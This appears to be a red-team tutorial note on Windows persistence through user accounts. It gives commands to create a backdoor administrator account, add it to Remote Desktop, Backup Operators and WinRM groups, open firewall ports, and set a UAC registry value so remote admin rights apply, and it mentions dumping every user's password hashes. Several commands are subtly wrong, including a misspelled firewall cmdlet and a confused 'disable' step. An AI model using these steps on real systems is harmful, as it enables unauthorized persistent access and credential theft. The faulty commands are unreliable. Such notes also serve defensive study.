Create New User Account

User Account Types

User accounts can be of several types:

- **Domain Administrators:** This is typically the highest account level you will find in a Domain Environment. An account with this level of privilege can manage all accounts of the organization, their access levels, and almost anything you can think of.
- **Services: Accounts:** used by software to perform their tasks. Some Services are Local System Account, Network Service Account, Local Service Account, Service-specific Accounts (SQLServiceAccount, ExchangeServiceAccount, www-data or httpd)
- **Domain Accounts:** These accounts are only Maintained, Manage & valid on the centrailized system and can be used over the domain
- **Local accounts:** These accounts are only Maintained, Manage & valid on the local system and can not be used over the domain. Local Accounts are of 2 types, Local admin & Normal user.

New User Persistence

A workflow to Create Accounts consists of creating a new account, making that part of high privileged group & using that to remotely login on target via Remote Protocols or any other Persistence technique chained with this account.

- Requires ADMINISTRATIVE privileges.

*The Create an Account **methodology** is simple;*

1. Create a New Account or User & make that user part of ADMIN or high priv Member
2. Make sure that the new user is part of Remote Desktop Users (RDP P-3389 TCP) or Remote Management Users (WinRM P-5985/5986 TCP), SMB etc.
3. Check if Remote Protocols services ports are open & allowed through the firewall.
4. log in to that user via Remote Protocol using his password.

Stealthy Level: This a created user as a backdoor isn't hidden at all & Account Creation & Users part of high privileges groups in a network are highly monitored via the Blue team.

Steps: Create a New User

1. Create a user: `net user daethyra Password123 /add /domain
2. Give yourself privileges: `net localgroup "administrators" daethyra /add`
3. Add yourself to groups with privileges to a service you want to exploit: `net localgroup "Remote Desktop Users" daethyra /add`
4. You may wish to open ports through the Windows Firewall:
   1. `New-NetFirewallRules -DisplayName "HTTP (TCP-In)" -direction Inbound -Protocol TCP -LocalPort <PORT> -Action Allow`

2. `New-NetFirewallRules -DisplayName "HTTP (TCP-In)" -direction Outbound -Protocol TCP -LocalPort <PORT> -Action Allow`
1

Manipulate Existing Users

Now we'll work with an existing account, giving it privileges, via group assignment, to read/write to the registry, and login/execute commands remotely.

> `net localgroup "Backup Operators" daethyra /add`

Note: Users in this “Backup Operators” Group won’t have administrative privileges but will be allowed to read/write any file or registry key on the system, ignoring any configured DACL.

For Remote Login we’ll add our user to “Remote Management Users” or WinRM.

> `net localgroup "Remote Management Users" daethyra /add`

Remote Login

WinRM acts as the communication mechanism between the client running PowerShell and the remote Windows system. It enables the execution of PowerShell commands and scripts on remote machines.

By Default Firewall allows WinRM port on the Windows server. However, if you remotely login into victim you’ll see that the manipulated user is part of the “Backup Operator” group, and yet still might not be able to leverage its privileges because `LocalAccountTokenFilterPolicy`, of UAC, strips any local account of its administrative privileges when logging in remotely.

Bypass UAC

Disable `LocalAccountTokenFilterPolicy`: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1`

The attacker may now read or write any file or registry on the system. She may also use SecretsDump to dump hashes of all users that exist on the system.

Resources

1. https://infosecwriteups.com/persistence-techniques-beginner-to-advanced-for-windows-50aca469336

#windows #persistence #user-manipulation